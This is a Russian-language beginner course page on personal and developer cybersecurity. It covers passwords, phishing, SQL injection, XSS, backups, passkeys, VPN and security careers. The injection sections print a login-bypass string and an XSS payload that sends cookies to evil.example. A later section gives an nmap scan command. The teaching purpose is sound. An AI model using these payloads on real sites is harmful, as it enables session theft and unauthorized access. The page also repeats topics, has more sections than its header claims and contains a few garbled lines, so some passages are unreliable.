Основы кибербезопасности

Разбираем базовые угрозы и простые привычки, которые защищают данные и устройства: пароли и двухфакторная аутентификация, фишинг, безопасность Wi-Fi, основы безопасной разработки и приватность.

Уровень: начальный 17 разделов 2–3 часа

1. Зачем нужна безопасность

Уязвимость чаще всего связана не с хакерами из фильмов, а с простыми вещами: слабым паролем, повторным использованием пароля, фишинговым письмом или забытым обновлением. Злоумышленнику не нужно быть гением — достаточно найти незакрытую дверь.

Что может потерять обычный человек:

Безопасность — это не один идеально защищённый гаджет, а система привычек. Закрыв одну дыру, переходите к следующей: так постепенно вы перекрываете почти все пути атак.

2. Пароли и двухфакторная аутентификация

Главное правило: у каждого сервиса свой уникальный пароль. Если один сайт утёк, остальные аккаунты должны остаться в безопасности.

Надёжный пароль — это длинный случайный набор символов. Простые слова, даты рождения и «qwerty123» подбираются за секунды.

ПарольСилаПочему
123456критично слабыйпервое, что перебирают скрипты
smirnov1985слабыйличные данные угадываются по соцсетям
Tr0ub4dor&3среднийлучше, но запоминается и переиспользуется
vY9!kQp3zLm7xR2надёжныйдлинный случайный набор из менеджера паролей
# сгенерировать надёжный пароль (Python 3)
import secrets, string
alphabet = string.ascii_letters + string.digits + string.punctuation
password = ''.join(secrets.choice(alphabet) for _ in range(16))
print(password)

Пароли храните в менеджере паролей: Bitwarden, KeePassXC или встроенном хранилище браузера. Запоминать придётся только один мастер-пароль.

Включайте двухфакторную аутентификацию (2FA) везде, где она есть. Даже украденный пароль не поможет злоумышленнику без второго фактора — кода из приложения. Приложения-аутентификаторы (Google Authenticator и аналоги) надёжнее SMS: сим-карту можно перевыпустить.
Никогда не используйте один и тот же пароль для почты и банка. Рабочие и личные аккаунты должны быть разделены.

3. Фишинг и социальная инженерия

Фишинг — это поддельные письма, сайты и сообщения, которые выглядят как настоящие и выманивают пароль или данные карты. Социальная инженерия — тот же приём, но «через людей»: мошенник звонит или пишет от имени техподдержки.

Типичная схема: приходит письмо «Ваш аккаунт заблокирован, подтвердите пароль» со ссылкой на сайт, который выглядит один в один как настоящий.

Красный флагЧто делать
Адрес отправителя отличается одной буквойне отвечать и не переходить по ссылкам
Срочность и угрозы («аккаунт удалят через час»)зайти на сайт вручную, а не по ссылке из письма
Просьба сообщить пароль или код из SMSнастоящие сервисы этого не просят
Сомнительное вложение: «счёт», «документ»не открывать
Проверка ссылки: наведите курсор на URL, не нажимая. Надпись может обещать «bank.ru», а реальный адрес вести на похожий поддельный домен.

4. Безопасность Wi-Fi и домашней сети

Домашняя точка доступа защищает все устройства в квартире, поэтому ей стоит уделить внимание.

# Linux: посмотреть доступные сети и уровень шифрования
nmcli dev wifi list
# подключиться к сети с именем MyHome
nmcli dev wifi connect MyHome password 'ваш-пароль'
Публичный Wi-Fi в кафе или аэропорту — сеть общего доступа. Для почты, банка и рабочих сервисов используйте VPN или собственный мобильный интернет.

5. Безопасность устройств

Телефон, ноутбук и планшет — это мини-банки с данными. Базовые настройки:

Приложений с «взломанными» версиями и установок APK-файлов из неизвестных источников стоит избегать: вместе с полезными функциями вы получаете неконтролируемый доступ к своим данным.

6. Безопасная разработка: SQL-инъекции

Если введённые пользователем данные склеиваются со строкой SQL-запроса, злоумышленник может «дописать» свой код к вашему запросу.

-- уязвимо: данные пользователя вставлены прямо в запрос
SELECT * FROM users WHERE login = 'admin' AND password = '123'

-- злоумышленник вместо пароля вводит:  ' OR '1'='1
SELECT * FROM users WHERE login = 'admin' AND password = '' OR '1'='1'

Лечится параметризованными запросами: тогда введённые данные никогда не трактуются как код.

# Python + sqlite3: параметризованный запрос (безопасно)
cursor.execute(
    "SELECT * FROM users WHERE login = ? AND password = ?",
    (login, password),
)

7. Безопасная разработка: XSS

XSS — это внедрение скрипта в страницу, который выполняется в браузере другого пользователя. Чаще всего атака идёт через поле комментария, имя пользователя или URL.

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">

Защита: не выводить пользовательский HTML как есть, экранировать угловые скобки и пользоваться встроенной защитой фреймворков — автоэкранированием шаблонов Django, safe-функциями React и так далее.

Любой ввод пользователя — это данные, а не код. Экранируйте его при выводе и не доверяйте значениям из запросов, cookie и заголовков без проверки.

8. Регулярные обновления

Обновления закрывают уже найденные уязвимости. Откладывая их, вы оставляете систему открытой для атак, описание которых публично доступно.

Особенно важно обновлять популярные библиотеки и фреймворки на продакшене — это одна из причин пункта «небезопасные зависимости» в рейтинге OWASP Top 10.

9. Резервные копии

Резервные копии спасают данные при вирусе-шифровальщике, отказе диска или потере устройства. Правило 3-2-1: три копии данных, на двух разных носителях, одна из них — вне дома.

# пример: еженедельный бэкап папки проекта (Linux, rsync)
rsync -av --delete /home/user/projects/ /backup/projects/
Копия, которую вы никогда не восстанавливали, копией не является. Периодически разворачивайте бэкап на «чистой» машине — только так проверяется его работоспособность.

10. Приватность в интернете

Приватность — это осознанный контроль над тем, какие данные о вас собирают сервисы.

Избыточные данные удаляются: у большинства сервисов есть функция выгрузки и удаления всех данных. Чем меньше собрано — тем меньше последствий при утечке.

11. Защита от фишинга и социальной инженерии

Фишинг — самый массовый вектор атак: злоумышленники подделывают письма и сайты, чтобы выманить пароли и деньги. Технические меры бессильны, если сотрудник сам отдал доступ.

// признаки подозрительного письма
1. срочность и угроза блокировки аккаунта
2. вложение типа invoice_final.docm
3. адрес отправителя с опечаткой (@гmail.com)
4. ссылка на домен, похожий, но не тот
АтакаЗащита
спуфинг отправителяDMARC, SPF, DKIM на домене
ссылки на поддельные сайтынаведение курсора; DNS-фильтрация
вредоносные вложенияпесочницы почтового шлюза
Один подарок-флешка из «отдела кадров» или «офис Wi-Fi» может легитимизировать внутреннюю атаку. Правило: не подключайте неизвестные устройства и носители.

12. Шифрование и безопасность Wi-Fi

Домашний роутер и публичные сети — часть корпоративного контура. Незашифрованный Wi-Fi позволяет перехватывать трафик соседям и «ловушкам» злоумышленников.

// безопасность домашней сети
WPA3-Personal
смена заводского пароля роутера
отключён WPS
обновлённая прошивка роутера
гигиена: VPN на публичном Wi-Fi
Используйте менеджер паролей: он генерирует уникальные длинные пароли и сам подставляет их. Пароль на каждую учётку — единственная защита от утечек списка паролей.

13. Планирование действий при инциденте

Скорейший выход из инцидента — заранее продуманный план, а не паника. Реакция за 20 минут часто сводит ущерб к минимуму.

// порядок действий (incident response)
1. зафиксировать факт и время, изолировать устройство
2. сменить пароли ключевых учёток (критично!)
3. отключить удалённый доступ и подозрительные сессии
4. собрать логи и бэкапы для разбора
5. уведомить ответственных (банк, договорные системы)
6. разобрать причину и план предотвращения
Резервные копии — обязательное условие восстановления: правило 3-2-1 — три копии, два носителя, одна вне офиса. Проверяйте восстановление, а не только создание копии.
После серьёзного инцидента (утечка данных, взлом) — обращайтесь в полицию и к юристу. Не уничтожайте следы: выключите машину, но не переустанавливайте систему до разбора.

14. Принцип наименьших привилегий

Суть принципа в одном предложении: каждый пользователь и процесс получает ровно те права, которые нужны для работы, и ни байтом больше. Реализуется он постепенно, на всех уровнях.

// Linux: рабочий пользователь без sudo
sudo useradd -m -s /bin/bash operator
sudo install -d -o operator /srv/app
// права на повышение — только у админа
«Все права на один аккаунт» экономит время сегодня, а завтра делает любую ошибку — опечатку в команде, фишинг, украденный токен — полным контролем над системой.

15. FIDO2 и Passkeys: беспарольный вход

Пароли — главная боль безопасности: их воруют, переиспользуют и угадывают. Альтернатива — passkeys на стандарте FIDO2: устройство подписывает вход криптографическим ключом, а подтверждение происходит по биометрии или PIN.

// суть WebAuthn: сервер хранит только открытый ключ
// регистрация: browser.generateKeyPair()
// вход:        server.challenge() → device.sign()
// проверка:    crypto.verify(pubkey, signature)

Привязанный к аккаунту passkey не утекает: даже если база паролей сервиса сольётся, подделать подпись без вашего устройства нельзя. Плюс — устойчивость к фишингу: поддельный сайт не получит подпись под настоящим доменом.

СхемаОценка
только парольучебный пример, взламывается
пароль + SMS-кодлучше, но SMS перехватывается
пароль + TOTP (Authenticator)хорошо и бесплатно
FIDO2 / passkeyлучший баланс безопасности и удобства
Настройте passkey в Google, Apple и Microsoft: аккаунт защищён даже без знания пароля, а проверка занимает одно касание.

16. VPN и удалённый доступ

VPN шифрует трафик между вашим устройством и доверенной точкой, поэтому публичный Wi-Fi перестаёт быть «прозрачным» для соседей по сети. Для работы из дома место VPN занимает корпоративный туннель.

// SSH-туннель: локальный порт → сервер → внутренний сервис
ssh -J jump.example.com -L 9080:db.internal:5432 user@server

// WireGuard — современный быстрый туннель
wg-quick up wg0
VPN не делает вас анонимным и не защищает от фишинга: он лишь шифрует канал. Сильные пароли и 2FA, как и раньше, обязательны.

17. Первые шаги в кибербезопасности

Из пользователя с привычками безопасность вырастает в профессию. Начать можно с базовых ролей, где нужны админские навыки и разбор инцидентов.

РольЧем занимаетсяС чего начать
Security Analystмониторинг, триаж инцидентовLinux, ELK, правила алертов
SOC Analystдежурная защита, расследованияинцидент-респонс, SIEM
Pentesterпоиск уязвимостей «изнутри»OWASP, легальные полигоны
DevSecOpsбезопасность в CI/CDDocker, pipelines, секреты
// инвентаризация сети — один из первых навыков (nmap)
nmap -sV -p- 10.0.0.5

Полезные привычки: документировать находки, читать чужой код на уязвимости, разбирать реальные инциденты и не светить в портфолио данные, к которым нет доступа.

Практикуйтесь на легальных полигонах (TryHackMe, CTF): тестирование чужой инфраструктуры без разрешения — уголовно наказуемая атака, а не «учёба».

18. OSINT: что о вас собирают из открытых источников

OSINT — разведка по открытым данным: профили соцсетей, базы утечек, регистрации, документы. Это легальный инструмент расследований, но он же показывает, насколько «прозрачна» личная информация.

Найти себя: Have I Been Pwned (email), dehashed прямо
не используйте без нужды; проверяйте себя раз в полгода.
ИсточникЧто ищет
соцсетисвязи, интересы, геотеги
WHOISвладельцы доменов
резюме/2ГИСместо работы, контакты
Раз в год прогоняйте поиск по своему email и никнейму: если данные выплыли, меняйте пароли и включайте 2FA из раздела 2.
OSINT-сервисы с «восстановлением паролей» часто собирают введённые вами данные. Проверка себя — в официальных сервисах, а не по ссылкам из спама.

19. Социальная инженерия в деталях

У взлома есть дешёвая альтернатива техническим атакам: обмануть человека. Схемы, которые работают, описаны ниже — их цель всегда одна: заставить вас сделать действие.

СхемаПризнакЗащита
звонок «из банка»спешка, страх, просят кодпрервите, позвоните сами
поддельный сайт входадомен с опечаткамипроверяйте URL
«безопасный счёт»перевод на «специальный» счёттаких счетов не бывает
подарок/розыгрышнужна оплата «за доставку»не платите вперёд

Общие правила: срочность без паузы — красный флаг; любой перевод «во избежание» — мошенничество; код подтверждения никому не сообщайте, даже «сотруднику банка».

Первое правило спецслужб любого масштаба:
умный мошенник тратит время, чтобы сделать вас спокойным.
Вас не могут «обвинить» в отмывании денег звонивший с номера +7-9ххх-ххх. Проверяйте номер через официальную службу поддержки, а не через входящие.

20. Практика: CTF и учебные полигоны

Теория не проверяется без практики. CTF-задачи (Capture The Flag) — безопасная тренировка: легальные песочницы, где можно ломать всё, ничего не нарушая.

Хорошие стартовые площадки:
Категории задачЧто прокачивает
Webинъекции, XSS, авторизация
Pwnпереполнение буфера, ОС
Cryptoшифры и уязвимости схем
Forensicsвосстановление из файлов
Решите 10 задач одной категории (Web) прежде чем прыгать между всеми — так выстроите навык, а не коллекцию «решенных». См. курс Веб-разработка.
CTF-навыки применять можно только там, где есть явное разрешение. Пентест вне договора — статья 272 УК, даже «из любопытства».

21. Bug bounty и ответственное раскрытие

Bug bounty — программа, где владелец сервиса платит за найденные уязвимости по его правилам. Это легальный способ зарабатывать на безопасности и учиться на реальных продуктах.

Шаблон отчёта:
1) уязвимость и её класс
2) шаги воспроизведения (сайт: /admin, параметр id)
3) билд/версия
4) влияние (что может сделать злоумышленник)
5) предлагаемый фикс
Начните с несложных категорий: открытые редиректы, информационные утечки (verbose errors), отсутствие rate limit — за них платят меньше, но их больше.
Программы подписаны контрактом: выход за scope (попытка доступа к соседним доменам, DoS) — выход из программы и риск претензий. Читайте правила целиком.

Что дальше

Закрепите привычки из урока: менеджер паролей, 2FA, бэкапы. Для веб-разработки следующий шаг — разбор самых опасных уязвимостей приложений в уроке OWASP Top 10. Также полезно изучить Linux и Git — на них строится работа с серверами и кодом.

← Вернуться к курсам